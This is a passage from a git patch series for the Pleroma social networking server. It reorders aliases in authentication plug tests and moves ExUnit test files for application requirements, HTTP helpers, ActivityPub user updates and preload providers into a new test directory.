Pleroma.Plugs.AuthenticationPlug.checkpw("password", hash) + refute AuthenticationPlug.checkpw("password", hash) end) =~ "[error] Password hash not recognized" end end diff --git a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs index 35095e018..92ff19282 100644 --- a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.EnsureAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug alias Pleroma.User + alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug describe "without :if_func / :unless_func options" do test "it halts if user is NOT assigned", %{conn: conn} do diff --git a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs index a73175fa6..211443a55 100644 --- a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs @@ -6,8 +6,8 @@ defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true alias Pleroma.Config - alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.User + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug setup do: clear_config([:instance, :public]) diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index 0a2f6f22f..2016a31a8 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -7,10 +7,10 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do import Pleroma.Factory + alias Pleroma.User alias Pleroma.Web.Plugs.LegacyAuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper - alias Pleroma.User setup do user = diff --git a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs index c8944f971..982a70bf9 100644 --- a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs +++ b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.OAuthScopesPlugTest do use Pleroma.Web.ConnCase - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo + alias Pleroma.Web.Plugs.OAuthScopesPlug import Mock import Pleroma.Factory diff --git a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs index 8467d44e3..a89b5628f 100644 --- a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs +++ b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.SetUserSessionIdPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Web.Plugs.SetUserSessionIdPlug alias Pleroma.User + alias Pleroma.Web.Plugs.SetUserSessionIdPlug setup %{conn: conn} do session_opts = [ -- cgit v1.2.3 From e33782455d468a867484e30fdeef4c28c2c2aa01 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 14:11:05 +0300 Subject: updates after rebase --- test/application_requirements_test.exs | 146 ------------------- test/http/tzdata_test.exs | 35 ----- test/pleroma/application_requirements_test.exs | 149 +++++++++++++++++++ test/pleroma/http/tzdata_test.exs | 35 +++++ .../transmogrifier/user_update_handling_test.exs | 159 +++++++++++++++++++++ .../transmogrifier/user_update_handling_test.exs | 159 --------------------- 6 files changed, 343 insertions(+), 340 deletions(-) delete mode 100644 test/application_requirements_test.exs delete mode 100644 test/http/tzdata_test.exs create mode 100644 test/pleroma/application_requirements_test.exs create mode 100644 test/pleroma/http/tzdata_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/user_update_handling_test.exs (limited to 'test') diff --git a/test/application_requirements_test.exs b/test/application_requirements_test.exs deleted file mode 100644 index 21d24ddd0..000000000 --- a/test/application_requirements_test.exs +++ /dev/null @@ -1,146 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ApplicationRequirementsTest do - use Pleroma.DataCase - import ExUnit.CaptureLog - import Mock - - alias Pleroma.Repo - - describe "check_welcome_message_config!/1" do - setup do: clear_config([:welcome]) - setup do: clear_config([Pleroma.Emails.Mailer]) - - test "raises if welcome email enabled but mail disabled" do - Pleroma.Config.put([:welcome, :email, :enabled], true) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) - - assert_raise Pleroma.ApplicationRequirements.VerifyError, "The mail disabled.", fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - end - - describe "check_confirmation_accounts!" do - setup_with_mocks([ - {Pleroma.ApplicationRequirements, [:passthrough], - [ - check_migrations_applied!: fn _ -> :ok end - ]} - ]) do - :ok - end - - setup do: clear_config([:instance, :account_activation_required]) - - test "raises if account confirmation is required but mailer isn't enable" do - Pleroma.Config.put([:instance, :account_activation_required], true) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) - - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "Account activation enabled, but Mailer is disabled. Cannot send confirmation emails.", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - - test "doesn't do anything if account confirmation is disabled" do - Pleroma.Config.put([:instance, :account_activation_required], false) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - - test "doesn't do anything if account confirmation is required and mailer is enabled" do - Pleroma.Config.put([:instance, :account_activation_required], true) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], true) - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - end - - describe "check_rum!" do - setup_with_mocks([ - {Pleroma.ApplicationRequirements, [:passthrough], - [check_migrations_applied!: fn _ -> :ok end]} - ]) do - :ok - end - - setup do: clear_config([:database, :rum_enabled]) - - test "raises if rum is enabled and detects unapplied rum migrations" do - Pleroma.Config.put([:database, :rum_enabled], true) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "Unapplied RUM Migrations detected", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - end - - test "raises if rum is disabled and detects rum migrations" do - Pleroma.Config.put([:database, :rum_enabled], false) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "RUM Migrations detected", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - end - - test "doesn't do anything if rum enabled and applied migrations" do - Pleroma.Config.put([:database, :rum_enabled], true) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - end - - test "doesn't do anything if rum disabled" do - Pleroma.Config.put([:database, :rum_enabled], false) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - end - end - - describe "check_migrations_applied!" do - setup_with_mocks([ - {Ecto.Migrator, [], - [ - with_repo: fn repo, fun -> passthrough([repo, fun]) end, - migrations: fn Repo -> - [ - {:up, 20_191_128_153_944, "fix_missing_following_count"}, - {:up, 20_191_203_043_610, "create_report_notes"}, - {:down, 20_191_220_174_645, "add_scopes_to_pleroma_feo_auth_records"} - ] - end - ]} - ]) do - :ok - end - - setup do: clear_config([:i_am_aware_this_may_cause_data_loss, :disable_migration_check]) - - test "raises if it detects unapplied migrations" do - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "Unapplied Migrations detected", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - - test "doesn't do anything if disabled" do - Pleroma.Config.put([:i_am_aware_this_may_cause_data_loss, :disable_migration_check], true) - - assert :ok == Pleroma.ApplicationRequirements.verify!() - end - end -end diff --git a/test/http/tzdata_test.exs b/test/http/tzdata_test.exs deleted file mode 100644 index 3e605d33b..000000000 --- a/test/http/tzdata_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.TzdataTest do - use ExUnit.Case - - import Tesla.Mock - alias Pleroma.HTTP - @url "https://data.iana.org/time-zones/tzdata-latest.tar.gz" - - setup do - mock(fn - %{method: :head, url: @url} -> - %Tesla.Env{status: 200, body: ""} - - %{method: :get, url: @url} -> - %Tesla.Env{status: 200, body: "hello"} - end) - - :ok - end - - describe "head/1" do - test "returns successfully result" do - assert HTTP.Tzdata.head(@url, [], []) == {:ok, {200, []}} - end - end - - describe "get/1" do - test "returns successfully result" do - assert HTTP.Tzdata.get(@url, [], []) == {:ok, {200, [], "hello"}} - end - end -end diff --git a/test/pleroma/application_requirements_test.exs b/test/pleroma/application_requirements_test.exs new file mode 100644 index 000000000..c505ae229 --- /dev/null +++ b/test/pleroma/application_requirements_test.exs @@ -0,0 +1,149 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ApplicationRequirementsTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Mock + + alias Pleroma.ApplicationRequirements + alias Pleroma.Config + alias Pleroma.Repo + + describe "check_welcome_message_config!/1" do + setup do: clear_config([:welcome]) + setup do: clear_config([Pleroma.Emails.Mailer]) + + test "raises if welcome email enabled but mail disabled" do + Pleroma.Config.put([:welcome, :email, :enabled], true) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) + + assert_raise Pleroma.ApplicationRequirements.VerifyError, "The mail disabled.", fn -> + capture_log(&Pleroma.ApplicationRequirements.verify!/0) + end + end + end + + describe "check_confirmation_accounts!" do + setup_with_mocks([ + {Pleroma.ApplicationRequirements, [:passthrough], + [ + check_migrations_applied!: fn _ -> :ok end + ]} + ]) do + :ok + end + + setup do: clear_config([:instance, :account_activation_required]) + + test "raises if account confirmation is required but mailer isn't enable" do + Pleroma.Config.put([:instance, :account_activation_required], true) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) + + assert_raise Pleroma.ApplicationRequirements.VerifyError, + "Account activation enabled, but Mailer is disabled. Cannot send confirmation emails.", + fn -> + capture_log(&Pleroma.ApplicationRequirements.verify!/0) + end + end + + test "doesn't do anything if account confirmation is disabled" do + Pleroma.Config.put([:instance, :account_activation_required], false) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) + assert Pleroma.ApplicationRequirements.verify!() == :ok + end + + test "doesn't do anything if account confirmation is required and mailer is enabled" do + Pleroma.Config.put([:instance, :account_activation_required], true) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], true) + assert Pleroma.ApplicationRequirements.verify!() == :ok + end + end + + describe "check_rum!" do + setup_with_mocks([ + {Pleroma.ApplicationRequirements, [:passthrough], + [check_migrations_applied!: fn _ -> :ok end]} + ]) do + :ok + end + + setup do: clear_config([:database, :rum_enabled]) + + test "raises if rum is enabled and detects unapplied rum migrations" do + Config.put([:database, :rum_enabled], true) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do + assert_raise ApplicationRequirements.VerifyError, + "Unapplied RUM Migrations detected", + fn -> + capture_log(&ApplicationRequirements.verify!/0) + end + end + end + + test "raises if rum is disabled and detects rum migrations" do + Config.put([:database, :rum_enabled], false) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do + assert_raise ApplicationRequirements.VerifyError, + "RUM Migrations detected", + fn -> + capture_log(&ApplicationRequirements.verify!/0) + end + end + end + + test "doesn't do anything if rum enabled and applied migrations" do + Config.put([:database, :rum_enabled], true) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do + assert ApplicationRequirements.verify!() == :ok + end + end + + test "doesn't do anything if rum disabled" do + Config.put([:database, :rum_enabled], false) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do + assert ApplicationRequirements.verify!() == :ok + end + end + end + + describe "check_migrations_applied!" do + setup_with_mocks([ + {Ecto.Migrator, [], + [ + with_repo: fn repo, fun -> passthrough([repo, fun]) end, + migrations: fn Repo -> + [ + {:up, 20_191_128_153_944, "fix_missing_following_count"}, + {:up, 20_191_203_043_610, "create_report_notes"}, + {:down, 20_191_220_174_645, "add_scopes_to_pleroma_feo_auth_records"} + ] + end + ]} + ]) do + :ok + end + + setup do: clear_config([:i_am_aware_this_may_cause_data_loss, :disable_migration_check]) + + test "raises if it detects unapplied migrations" do + assert_raise ApplicationRequirements.VerifyError, + "Unapplied Migrations detected", + fn -> + capture_log(&ApplicationRequirements.verify!/0) + end + end + + test "doesn't do anything if disabled" do + Config.put([:i_am_aware_this_may_cause_data_loss, :disable_migration_check], true) + + assert :ok == ApplicationRequirements.verify!() + end + end +end diff --git a/test/pleroma/http/tzdata_test.exs b/test/pleroma/http/tzdata_test.exs new file mode 100644 index 000000000..3e605d33b --- /dev/null +++ b/test/pleroma/http/tzdata_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.TzdataTest do + use ExUnit.Case + + import Tesla.Mock + alias Pleroma.HTTP + @url "https://data.iana.org/time-zones/tzdata-latest.tar.gz" + + setup do + mock(fn + %{method: :head, url: @url} -> + %Tesla.Env{status: 200, body: ""} + + %{method: :get, url: @url} -> + %Tesla.Env{status: 200, body: "hello"} + end) + + :ok + end + + describe "head/1" do + test "returns successfully result" do + assert HTTP.Tzdata.head(@url, [], []) == {:ok, {200, []}} + end + end + + describe "get/1" do + test "returns successfully result" do + assert HTTP.Tzdata.get(@url, [], []) == {:ok, {200, [], "hello"}} + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs new file mode 100644 index 000000000..64636656c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs @@ -0,0 +1,159 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.UserUpdateHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + test "it works for incoming update activities" do + user = insert(:user, local: false) + + update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() + + object = + update_data["object"] + |> Map.put("actor", user.ap_id) + |> Map.put("id", user.ap_id) + + update_data = + update_data + |> Map.put("actor", user.ap_id) + |> Map.put("object", object) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data) + + assert data["id"] == update_data["id"] + + user = User.get_cached_by_ap_id(data["actor"]) + assert user.name == "gargle" + + assert user.avatar["url"] == [ + %{ + "href" => + "https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" + } + ] + + assert user.banner["url"] == [ + %{ + "href" => + "https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" + } + ] + + assert user.bio == "<p>Some bio</p>" + end + + test "it works with alsoKnownAs" do + %{ap_id: actor} = insert(:user, local: false) + + assert User.get_cached_by_ap_id(actor).also_known_as == [] + + {:ok, _activity} = + "test/fixtures/mastodon-update.json" + |> File.read!() + |> Poison.decode!() + |> Map.put("actor", actor) + |> Map.update!("object", fn object -> + object + |> Map.put("actor", actor) + |> Map.put("id", actor) + |> Map.put("alsoKnownAs", [ + "http://mastodon.example.org/users/foo", + "http://example.org/users/bar" + ]) + end) + |> Transmogrifier.handle_incoming() + + assert User.get_cached_by_ap_id(actor).also_known_as == [ + "http://mastodon.example.org/users/foo", + "http://example.org/users/bar" + ] + end + + test "it works with custom profile fields" do + user = insert(:user, local: false) + + assert user.fields == [] + + update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() + + object = + update_data["object"] + |> Map.put("actor", user.ap_id) + |> Map.put("id", user.ap_id) + + update_data = + update_data + |> Map.put("actor", user.ap_id) + |> Map.put("object", object) + + {:ok, _update_activity} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert user.fields == [ + %{"name" => "foo", "value" => "updated"}, + %{"name" => "foo1", "value" => "updated"} + ] + + Pleroma.Config.put([:instance, :max_remote_account_fields], 2) + + update_data = + update_data + |> put_in(["object", "attachment"], [ + %{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}, + %{"name" => "foo11", "type" => "PropertyValue", "value" => "bar11"}, + %{"name" => "foo22", "type" => "PropertyValue", "value" => "bar22"} + ]) + |> Map.put("id", update_data["id"] <> ".") + + {:ok, _} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert user.fields == [ + %{"name" => "foo", "value" => "updated"}, + %{"name" => "foo1", "value" => "updated"} + ] + + update_data = + update_data + |> put_in(["object", "attachment"], []) + |> Map.put("id", update_data["id"] <> ".") + + {:ok, _} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert user.fields == [] + end + + test "it works for incoming update activities which lock the account" do + user = insert(:user, local: false) + + update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() + + object = + update_data["object"] + |> Map.put("actor", user.ap_id) + |> Map.put("id", user.ap_id) + |> Map.put("manuallyApprovesFollowers", true) + + update_data = + update_data + |> Map.put("actor", user.ap_id) + |> Map.put("object", object) + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + assert user.locked == true + end +end diff --git a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs b/test/web/activity_pub/transmogrifier/user_update_handling_test.exs deleted file mode 100644 index 64636656c..000000000 --- a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs +++ /dev/null @@ -1,159 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.UserUpdateHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - test "it works for incoming update activities" do - user = insert(:user, local: false) - - update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() - - object = - update_data["object"] - |> Map.put("actor", user.ap_id) - |> Map.put("id", user.ap_id) - - update_data = - update_data - |> Map.put("actor", user.ap_id) - |> Map.put("object", object) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data) - - assert data["id"] == update_data["id"] - - user = User.get_cached_by_ap_id(data["actor"]) - assert user.name == "gargle" - - assert user.avatar["url"] == [ - %{ - "href" => - "https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" - } - ] - - assert user.banner["url"] == [ - %{ - "href" => - "https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" - } - ] - - assert user.bio == "<p>Some bio</p>" - end - - test "it works with alsoKnownAs" do - %{ap_id: actor} = insert(:user, local: false) - - assert User.get_cached_by_ap_id(actor).also_known_as == [] - - {:ok, _activity} = - "test/fixtures/mastodon-update.json" - |> File.read!() - |> Poison.decode!() - |> Map.put("actor", actor) - |> Map.update!("object", fn object -> - object - |> Map.put("actor", actor) - |> Map.put("id", actor) - |> Map.put("alsoKnownAs", [ - "http://mastodon.example.org/users/foo", - "http://example.org/users/bar" - ]) - end) - |> Transmogrifier.handle_incoming() - - assert User.get_cached_by_ap_id(actor).also_known_as == [ - "http://mastodon.example.org/users/foo", - "http://example.org/users/bar" - ] - end - - test "it works with custom profile fields" do - user = insert(:user, local: false) - - assert user.fields == [] - - update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() - - object = - update_data["object"] - |> Map.put("actor", user.ap_id) - |> Map.put("id", user.ap_id) - - update_data = - update_data - |> Map.put("actor", user.ap_id) - |> Map.put("object", object) - - {:ok, _update_activity} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert user.fields == [ - %{"name" => "foo", "value" => "updated"}, - %{"name" => "foo1", "value" => "updated"} - ] - - Pleroma.Config.put([:instance, :max_remote_account_fields], 2) - - update_data = - update_data - |> put_in(["object", "attachment"], [ - %{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}, - %{"name" => "foo11", "type" => "PropertyValue", "value" => "bar11"}, - %{"name" => "foo22", "type" => "PropertyValue", "value" => "bar22"} - ]) - |> Map.put("id", update_data["id"] <> ".") - - {:ok, _} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert user.fields == [ - %{"name" => "foo", "value" => "updated"}, - %{"name" => "foo1", "value" => "updated"} - ] - - update_data = - update_data - |> put_in(["object", "attachment"], []) - |> Map.put("id", update_data["id"] <> ".") - - {:ok, _} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert user.fields == [] - end - - test "it works for incoming update activities which lock the account" do - user = insert(:user, local: false) - - update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() - - object = - update_data["object"] - |> Map.put("actor", user.ap_id) - |> Map.put("id", user.ap_id) - |> Map.put("manuallyApprovesFollowers", true) - - update_data = - update_data - |> Map.put("actor", user.ap_id) - |> Map.put("object", object) - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - assert user.locked == true - end -end -- cgit v1.2.3 From 207211a2b36f2ce119cded088a0795b26f707621 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Fri, 26 Jun 2020 08:38:22 +0300 Subject: update files consistency after rebase --- test/http/ex_aws_test.exs | 54 --------------------- test/pleroma/http/ex_aws_test.exs | 54 +++++++++++++++++++++ .../web/preload/providers/instance_test.exs | 56 ++++++++++++++++++++++ .../web/preload/providers/timeline_test.exs | 56 ++++++++++++++++++++++ test/pleroma/web/preload/providers/user_test.exs | 33 +++++++++++++ test/web/preload/instance_test.exs | 56 ---------------------- test/web/preload/timeline_test.exs | 56 ---------------------- test/web/preload/user_test.exs | 33 ------------- 8 files changed, 199 insertions(+), 199 deletions(-) delete mode 100644 test/http/ex_aws_test.exs create mode 100644 test/pleroma/http/ex_aws_test.exs create mode 100644 test/pleroma/web/preload/providers/instance_test.exs create mode 100644 test/pleroma/web/preload/providers/timeline_test.exs create mode 100644 test/pleroma/web/preload/providers/user_test.exs delete mode 100644 test/web/preload/instance_test.exs delete mode 100644 test/web/preload/timeline_test.exs delete mode 100644 test/web/preload/user_test.exs (limited to 'test') diff --git a/test/http/ex_aws_test.exs b/test/http/ex_aws_test.exs deleted file mode 100644 index d0b00ca26..000000000 --- a/test/http/ex_aws_test.exs +++ /dev/null @@ -1,54 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.ExAwsTest do - use ExUnit.Case - - import Tesla.Mock - alias Pleroma.HTTP - - @url "https://s3.amazonaws.com/test_bucket/test_image.jpg" - - setup do - mock(fn - %{method: :get, url: @url, headers: [{"x-amz-bucket-region", "us-east-1"}]} -> - %Tesla.Env{ - status: 200, - body: "image-content", - headers: [{"x-amz-bucket-region", "us-east-1"}] - } - - %{method: :post, url: @url, body: "image-content-2"} -> - %Tesla.Env{status: 200, body: "image-content-2"} - end) - - :ok - end - - describe "request" do - test "get" do - assert HTTP.ExAws.request(:get, @url, "", [{"x-amz-bucket-region", "us-east-1"}]) == { - :ok, - %{ - body: "image-content", - headers: [{"x-amz-bucket-region", "us-east-1"}], - status_code: 200 - } - } - end - - test "post" do - assert HTTP.ExAws.request(:post, @url, "image-content-2", [ - {"x-amz-bucket-region", "us-east-1"} - ]) == { - :ok, - %{ - body: "image-content-2", - headers: [], - status_code: 200 - } - } - end - end -end diff --git a/test/pleroma/http/ex_aws_test.exs b/test/pleroma/http/ex_aws_test.exs new file mode 100644 index 000000000..d0b00ca26 --- /dev/null +++ b/test/pleroma/http/ex_aws_test.exs @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.ExAwsTest do + use ExUnit.Case + + import Tesla.Mock + alias Pleroma.HTTP + + @url "https://s3.amazonaws.com/test_bucket/test_image.jpg" + + setup do + mock(fn + %{method: :get, url: @url, headers: [{"x-amz-bucket-region", "us-east-1"}]} -> + %Tesla.Env{ + status: 200, + body: "image-content", + headers: [{"x-amz-bucket-region", "us-east-1"}] + } + + %{method: :post, url: @url, body: "image-content-2"} -> + %Tesla.Env{status: 200, body: "image-content-2"} + end) + + :ok + end + + describe "request" do + test "get" do + assert HTTP.ExAws.request(:get, @url, "", [{"x-amz-bucket-region", "us-east-1"}]) == { + :ok, + %{ + body: "image-content", + headers: [{"x-amz-bucket-region", "us-east-1"}], + status_code: 200 + } + } + end + + test "post" do + assert HTTP.ExAws.request(:post, @url, "image-content-2", [ + {"x-amz-bucket-region", "us-east-1"} + ]) == { + :ok, + %{ + body: "image-content-2", + headers: [], + status_code: 200 + } + } + end + end +end diff --git a/test/pleroma/web/preload/providers/instance_test.exs b/test/pleroma/web/preload/providers/instance_test.exs new file mode 100644 index 000000000..8493f2a94 --- /dev/null +++ b/test/pleroma/web/preload/providers/instance_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.InstanceTest do + use Pleroma.DataCase + alias Pleroma.Web.Preload.Providers.Instance + + setup do: {:ok, Instance.generate_terms(nil)} + + test "it renders the info", %{"/api/v1/instance" => info} do + assert %{ + description: description, + email: "admin@example.com", + registrations: true + } = info + + assert String.equivalent?(description, "Pleroma: An efficient and flexible fediverse server") + end + + test "it renders the panel", %{"/instance/panel.html" => panel} do + assert String.contains?( + panel, + "<p>Welcome to <a href=\"https://pleroma.social\" target=\"_blank\">Pleroma!</a></p>" + ) + end + + test "it works with overrides" do + clear_config([:instance, :static_dir], "test/fixtures/preload_static") + + %{"/instance/panel.html" => panel} = Instance.generate_terms(nil) + + assert String.contains?( + panel, + "HEY!" + ) + end + + test "it renders the node_info", %{"/nodeinfo/2.0.json" => nodeinfo} do + %{ + metadata: metadata, + version: "2.0" + } = nodeinfo + + assert metadata.private == false + assert metadata.suggestions == %{enabled: false} + end + + test "it renders the frontend configurations", %{ + "/api/pleroma/frontend_configurations" => fe_configs + } do + assert %{ + pleroma_fe: %{background: "/images/city.jpg", logo: "/static/logo.png"} + } = fe_configs + end +end diff --git a/test/pleroma/web/preload/providers/timeline_test.exs b/test/pleroma/web/preload/providers/timeline_test.exs new file mode 100644 index 000000000..3b1f2f1aa --- /dev/null +++ b/test/pleroma/web/preload/providers/timeline_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.TimelineTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Preload.Providers.Timelines + + @public_url "/api/v1/timelines/public" + + describe "unauthenticated timeliness when restricted" do + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + test "return nothing" do + tl_data = Timelines.generate_terms(%{}) + + refute Map.has_key?(tl_data, "/api/v1/timelines/public") + end + end + + describe "unauthenticated timeliness when unrestricted" do + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], false) + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], false) + + setup do: {:ok, user: insert(:user)} + + test "returns the timeline when not restricted" do + assert Timelines.generate_terms(%{}) + |> Map.has_key?(@public_url) + end + + test "returns public items", %{user: user} do + {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) + + assert Timelines.generate_terms(%{}) + |> Map.fetch!(@public_url) + |> Enum.count() == 3 + end + + test "does not return non-public items", %{user: user} do + {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!", visibility: "unlisted"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!", visibility: "direct"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) + + assert 